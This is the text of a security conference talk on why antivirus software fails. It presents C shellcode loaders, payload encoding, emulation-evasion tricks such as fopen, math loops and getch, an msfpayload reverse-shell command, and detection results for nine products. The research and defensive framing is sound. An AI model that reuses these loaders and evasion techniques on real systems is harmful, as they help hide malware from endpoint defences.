Why Antivirus Software fails
whoami

- IT-Security Consultant
- Doing pentesting since two years
- This talk is based on private research
- Before that experience as windows/linux/network admin, a little as web developer and so on...
Structure – Part I

• Introduction

• Steps for antivirus evasion
  – Evading signature-based detection
  – Evading sandboxing/emulation
Structure – Part II

- Finding out how Antivirus Software works
  - More about x86 and code emulation
  - Windows API and standard calls
  - What about 64bit
  - And more
Intro

• Started writing own antivirus evasion tools about 2 years ago

• The techniques used there show how antivirus software works

• Started more systematic testing

• Did some research about x86 emulation
Intro
Some words about the testing environment

- Windows XP/7/8, 32Bit, 64Bit
- Backtrack
- Metasploit
- Mingw
- Nasm
- ollydbg
- Visual Studio 2008
- Virtualbox
Intro

Some words about the testing environment
Intro

Some words about the testing environment
Intro

Some words about the testing environment
Part I
Steps for antivirus evasion
Steps for antivirus evasion

Test Scenario

- Windows
- Msfpayload
- Let's go through this fast
Steps for antivirus evasion

Download Proof-of-Concept code from all examples here:
https://github.com/govolution/avepoc/
Steps for antivirus evasion

Evade signature scanning

1. Step: Have your own shellcode binder
Steps for antivirus evasion

Shellcode Binder Code:

```c
char shellcode[] = "Shellcode";
int main(int argc, char **argv)
{
    int (*funct)();
    funct = (int (*)(())) shellcode;
    (int)(*funct)();
}

//noencryption.c
```
Steps for antivirus evasion

Evade signature scanning

2nd Step: Encode or encrypt the shellcode
/pseudocode
//see also noevasion.c
unsigned char buf[] =
  "fce88900006089e531d2648b5230"
  "8b520c8b52148b72280fb74a2631ff"
  "31c0ac3c617c022c20c1cf0d01c7e2"
-- SNIP --
unsinged char *shellcode;
buffer2shellcode();
int (*funct)();
funct = (int (*))() shellcode;
(int) (*funct)();
Steps for antivirus evasion

3rd Step: "Sandbox" Evasion
Steps for antivirus evasion

3rd Step: “Sandbox” Evasion

- The file is still recognized as malicious... at least by most products
- Because of sandboxes, or better x86 emulation
Steps for antivirus evasion

3rd Step: "Sandbox" Evasion

- What to do now?
- Something to stop emulation!
- In my example: open a file
Steps for antivirus evasion

3rd step: “Sandbox” Evasion

//see also fopen.c

FILE *fp = fopen("c:\windows\system.ini", "rb");
if (fp == NULL)
    return 0;
fclose(fp);

int size = sizeof(buffer);

shellcode = decode_shellcode(buffer, shellcode, size);
exec_shellcode(shellcode);
Part II
Finding out how Antivirus Software works
Finding out how Antivirus Software works

x86 and code emulation

- No signature matches
- The programm will be executed in a "sandbox" or better in an emulated environment
- This is limited by nature
- Let's have a look
Finding out how Antivirus Software works

x86 and code emulation

- As a short example you should take a look at libemu
- From website (http://libemu.carnivore.it/):
  - Libemu is a tool for emulating shellcode
  - Executing x86 instructions
    - Reading x86 binary code
    - Register emulation
    - Basic FPU emulation
  - Shellcode execution
    - Shellcode detection
      - Using GetPC heuristics
      - Static analysis
      - Binary backwardstraversal
    - Win32 API hooking
Finding out how Antivirus Software works

x86 and code emulation

The emulation is executed in a loop:

while()
{
    If (command=="add")
        do_some_add_stuff()
    Else if (command ...)
        //you get the idea
}

// read more: The Art of Computer Virus Research and Defense by Peter Szor, Chapter 11.4. Code Emulation
Finding out how Antivirus Software works


  - Sophos include a very simplistic x86 emulation engine that records memory references and execution characteristics.
  
  - The emulation is a poor representation of x86, and only executed for around 500 cycles.
  
  - Detecting the Sophos emulator is trivial, but spinning for 500 cycles on entry is sufficient to subvert emulation.
  
  - Minimal OS stubs are present, but demonstrate a lack of understanding of basic concepts
Finding out how Antivirus Software works

- As can be seen, x86 emulation has some limitations
- And here the interesting part begins
- Show some PoCs for AV evasion
  - Basic stuff
  - Standard calls and Win API
  - 64bit
  - And more...
Finding out how Antivirus Software works

Basics
Finding out how Antivirus Software works

Basics

- Eicar.exe - Test Virus
- Msf.exe - msfpayload generated .exe file
- Shikata5.c Shikata ga nai with 5 rounds
- Syringe.exe, a well known tool for executing shellcode and DLL-Injection, the only one here not recognized by most products
Finding out how Antivirus Software works

Basics

- Noencryption.c – a simple shellcode binder
  - 4/9 of the AVs failed
  - Successful in at least one product that offically has x86 emulation :(
- Noevasion.c – no sandbox evasion, but encoded payload
  - 5/9 of the AVs failed
Finding out how Antivirus Software works
Standard and Windows API
Finding out how Antivirus Software works

Standard and Windows API

// fopen.c 9/9 failed
...
FILE *fp = fopen("c:\windows\system.ini", "rb");
if (fp == NULL)
    return 0;
fclose(fp);
...
shellcode = decode_shellcode(buffer, shellcode, size);
exec_shellcode(shellcode);
...
Finding out how Antivirus Software works

Standard and Windows API

// math.c, 9/9 failed

int x, y;
for (x = 1; x < 10000; x++)
{
    for (y = 1; y < 10000; y++)
    {
        int a = cos(x); int b = cos(y); double c = sin(x); double d = sin(y);
    }
}

int size = sizeof(buffer);
shellcode = decode_shellcode(buffer, shellcode, size);
exec_shellcode(shellcode);
Finding out how Antivirus Software works

Standard and Windows API

// getch.c 8/9 failed
getch();

int size = sizeof(buffer);

shellcode = decode_shellcode(buffer, shellcode, size);

exec_shellcode(shellcode);
Finding out how Antivirus Software works

Standard and Windows API

// openeventlog.c 7/9 failed
HANDLE h;

h = OpenEventLog( NULL, "Application");
if (h == NULL)
    printf("error\n");

int size = sizeof(buffer);

shellcode =
decode_shellcode(buffer,shellcode,size);
exec_shellcode(shellcode);
Finding out how Antivirus Software works

Standard and Windows API

// strstr.c 9/9 failed
// from last years deepsec
if(strstr(argv[0], "strstr.exe") > 0)
{
    int size = sizeof(buffer);
    shellcode = decode_shellcode(buffer,shellcode,size);
    exec_shellcode(shellcode);
}
Finding out how Antivirus Software works

Standard and Windows API

// listen.c 8/9 failed

... bind(Socket, (SOCKADDR*)
(&serverInf), sizeof(serverInf));

... listen(Socket, 1);

... shellcode =
decode_shellcode(buffer, shellcode, size);
exec_shellcode(shellcode);
Finding out how Antivirus Software works

What about 64 bit?

// 64msf.exe 7/9 failed

- msfpayload windows/x64/shell/reverse_tcp
  LHOST=192.168.2.100 C

- Only two products recognized this one (Avast free, Comodo free)
What about 64 bit?

```
// 9/9 failed
// 64noencryption.c

unsigned char sc[] = ...;

typedef void (*FUNCPTR)();

int main(int argc, char **argv)
{
    FUNCPTR func;
    int len;
    DWORD oldProtect;

    len = sizeof(sc);
    if (0 == VirtualProtect(&sc, len, PAGE_EXECUTE_READWRITE, &oldProtect))
        return 1;

    func = (FUNCPTR)sc;
    func();
    return 0;
}
```
Finding out how Antivirus Software works

And MMX?

- How does emulation handle MMX registers?
- For testing I used an encoder from the SLAE examples (Security Tube), so no code here...
- It is an xor encoder using the MMX registers
- 6/9 failed
Finding out how Antivirus Software works

Conclusion...
Finding out how Antivirus Software works

- Antivirus has limits in:
  - Signature recognition
  - API call emulation
  - Processor emulation

- Even if features are implemented this doesn't mean it works
Finding out how Antivirus Software works

Detailed results

<table>
<thead>
<tr>
<th></th>
<th>AVG 2014 free</th>
<th>MS win 8 64bit Avira Free</th>
<th>McAfee Plus</th>
<th>Sophos</th>
<th>avast free</th>
<th>Bitdefender Plus 2015</th>
<th>Gdata InetSec</th>
<th>Comodo free</th>
</tr>
</thead>
<tbody>
<tr>
<td>eicar.com</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
</tr>
<tr>
<td>msf.exe</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
</tr>
<tr>
<td>shikata5.exe</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
</tr>
<tr>
<td>syringe.exe</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
</tr>
<tr>
<td>msf.bin</td>
<td>0</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>0</td>
<td>1</td>
<td>1</td>
</tr>
<tr>
<td>msfempty.exe</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
</tr>
<tr>
<td>afs.txt</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>0</td>
</tr>
</tbody>
</table>
Finding out how Antivirus Software works

Detailed results

<table>
<thead>
<tr>
<th>File</th>
<th>AVG 2014 free</th>
<th>MS win 8 64bit</th>
<th>Avira Free</th>
<th>McAfee Plus</th>
<th>Sophos</th>
<th>avast free</th>
<th>Bitdefender Plus 2015</th>
<th>Gdata InetSec</th>
<th>Comodo free</th>
</tr>
</thead>
<tbody>
<tr>
<td>noencryption.c</td>
<td>0</td>
<td>0</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>0</td>
<td>1</td>
</tr>
<tr>
<td>noevasion.c</td>
<td>0</td>
<td>0</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>0</td>
<td>0</td>
</tr>
<tr>
<td>fopen.c</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
</tr>
<tr>
<td>msgbox.c</td>
<td>0</td>
<td>0</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>0</td>
<td>1</td>
</tr>
<tr>
<td>sleep.c</td>
<td>0</td>
<td>0</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>0</td>
<td>0</td>
</tr>
<tr>
<td>scanf.c</td>
<td>1</td>
<td>0</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>0</td>
<td>0</td>
</tr>
<tr>
<td>math.c</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
</tr>
<tr>
<td>shellexecute.c</td>
<td>0</td>
<td>0</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>0</td>
<td>0</td>
</tr>
<tr>
<td>socket.c</td>
<td>0</td>
<td>0</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>0</td>
<td>0</td>
</tr>
<tr>
<td>connect.c</td>
<td>1</td>
<td>0</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>0</td>
<td>0</td>
</tr>
<tr>
<td>listen.c</td>
<td>1</td>
<td>0</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
</tr>
<tr>
<td>systemctl.c</td>
<td>0</td>
<td>0</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>0</td>
<td>0</td>
</tr>
<tr>
<td>regopenkey.c</td>
<td>0</td>
<td>0</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>0</td>
<td>0</td>
</tr>
<tr>
<td>forsleep.c</td>
<td>0</td>
<td>0</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>0</td>
<td>0</td>
</tr>
<tr>
<td>timer.c</td>
<td>0</td>
<td>0</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>0</td>
<td>0</td>
</tr>
</tbody>
</table>
Finding out how Antivirus Software works

Detailed results

<table>
<thead>
<tr>
<th></th>
<th>AVG 2014 free</th>
<th>MS win 8 64bit</th>
<th>Avira Free</th>
<th>McAfee Plus</th>
<th>Sophos</th>
<th>avast free</th>
<th>Bitdefender Plus 2015</th>
<th>Gdata InetSec</th>
<th>Comodo free</th>
</tr>
</thead>
<tbody>
<tr>
<td>getch.c</td>
<td>1</td>
<td>0</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
</tr>
<tr>
<td>getversion.c</td>
<td>0</td>
<td>0</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>0</td>
</tr>
<tr>
<td>getcomputername.c</td>
<td>0</td>
<td>0</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>0</td>
</tr>
<tr>
<td>getusername.c</td>
<td>0</td>
<td>0</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>0</td>
</tr>
<tr>
<td>getsystemdirectory.c</td>
<td>0</td>
<td>0</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>0</td>
</tr>
<tr>
<td>globalmemorystatus.c</td>
<td>0</td>
<td>0</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>0</td>
</tr>
<tr>
<td>setkeyboardstate.c</td>
<td>0</td>
<td>0</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>0</td>
</tr>
<tr>
<td>openeventlog.c</td>
<td>0</td>
<td>0</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>0</td>
</tr>
<tr>
<td>readeventlog.c</td>
<td>0</td>
<td>0</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>0</td>
</tr>
<tr>
<td>strstr.c</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
</tr>
<tr>
<td>inc.c</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
</tr>
<tr>
<td>openprocess.c</td>
<td>0</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>0</td>
</tr>
<tr>
<td>xormmx.c</td>
<td>0</td>
<td>0</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>0</td>
</tr>
<tr>
<td>mmxdecode.c</td>
<td>1</td>
<td>0</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>0</td>
</tr>
</tbody>
</table>
Finding out how Antivirus Software works

Detailed results

<table>
<thead>
<tr>
<th>File</th>
<th>AVG 2014 free</th>
<th>MS win 8 64bit</th>
<th>Avira Free</th>
<th>McAfee Plus</th>
<th>Sophos</th>
<th>avast free</th>
<th>Bitdefender Plus 2015</th>
<th>Gdata InetSec</th>
<th>Comodo free</th>
</tr>
</thead>
<tbody>
<tr>
<td>64msf.exe</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>0</td>
<td>1</td>
<td>1</td>
</tr>
<tr>
<td>64msf.bin</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>0</td>
<td>1</td>
</tr>
<tr>
<td>64noecryption.c</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
</tr>
<tr>
<td>64noevasion.c</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
</tr>
<tr>
<td>64fopen.c</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
</tr>
<tr>
<td>64strstr.c</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
</tr>
</tbody>
</table>
Finding out how Antivirus Software works

- And now?
- Best would be whitelisting
  - If this works correctly
- Manual analysis
  - And distribute new signatures
- The usual
  - SIEM
  - Log file analysis
  - User awareness
Do you like to know more?

More links

- https://lock.cmpxchg8b.com/sophailv2.pdf
- https://lock.cmpxchg8b.com/sophail.pdf
- The Art of Computer Virus Research and Defense by Peter Szor
- DeepSec 2013 Attila_Marosi - Easy Ways To Bypass AntiVirus Systems
- http://funoverip.net/
Do you like to know more?

Move on (stuff by me)

- Introduction to antivirus evasion by me with examples:
- Talk about this topic can be found here:
  - http://www.youtube.com/watch?v=biAelIG6LXo
- Blog, Twitter...
  - http://govolution.de/blog/
  - http://govolution.wordpress.com/
  - https://twitter.com/DanielX4v3r
Do you like to know more?

License and used photos

- https://creativecommons.org/licenses/by/2.0/
- https://www.flickr.com/photos/mozillanigeria/8034801602
- https://www.flickr.com/photos/david_carroll/2958602014
- https://www.flickr.com/photos/internetarchivebookimages/14777597925
- https://www.flickr.com/photos/internetarchivebookimages/14590927570/
- https://www.flickr.com/photos/internetarchivebookimages/14774450931
- https://www.flickr.com/photos/mararie/2151361243
- https://www.flickr.com/photos/53921113@N02/5645102295
- https://www.flickr.com/photos/horiavarlan/4273225057
- https://www.flickr.com/photos/bill-fellow/4059471685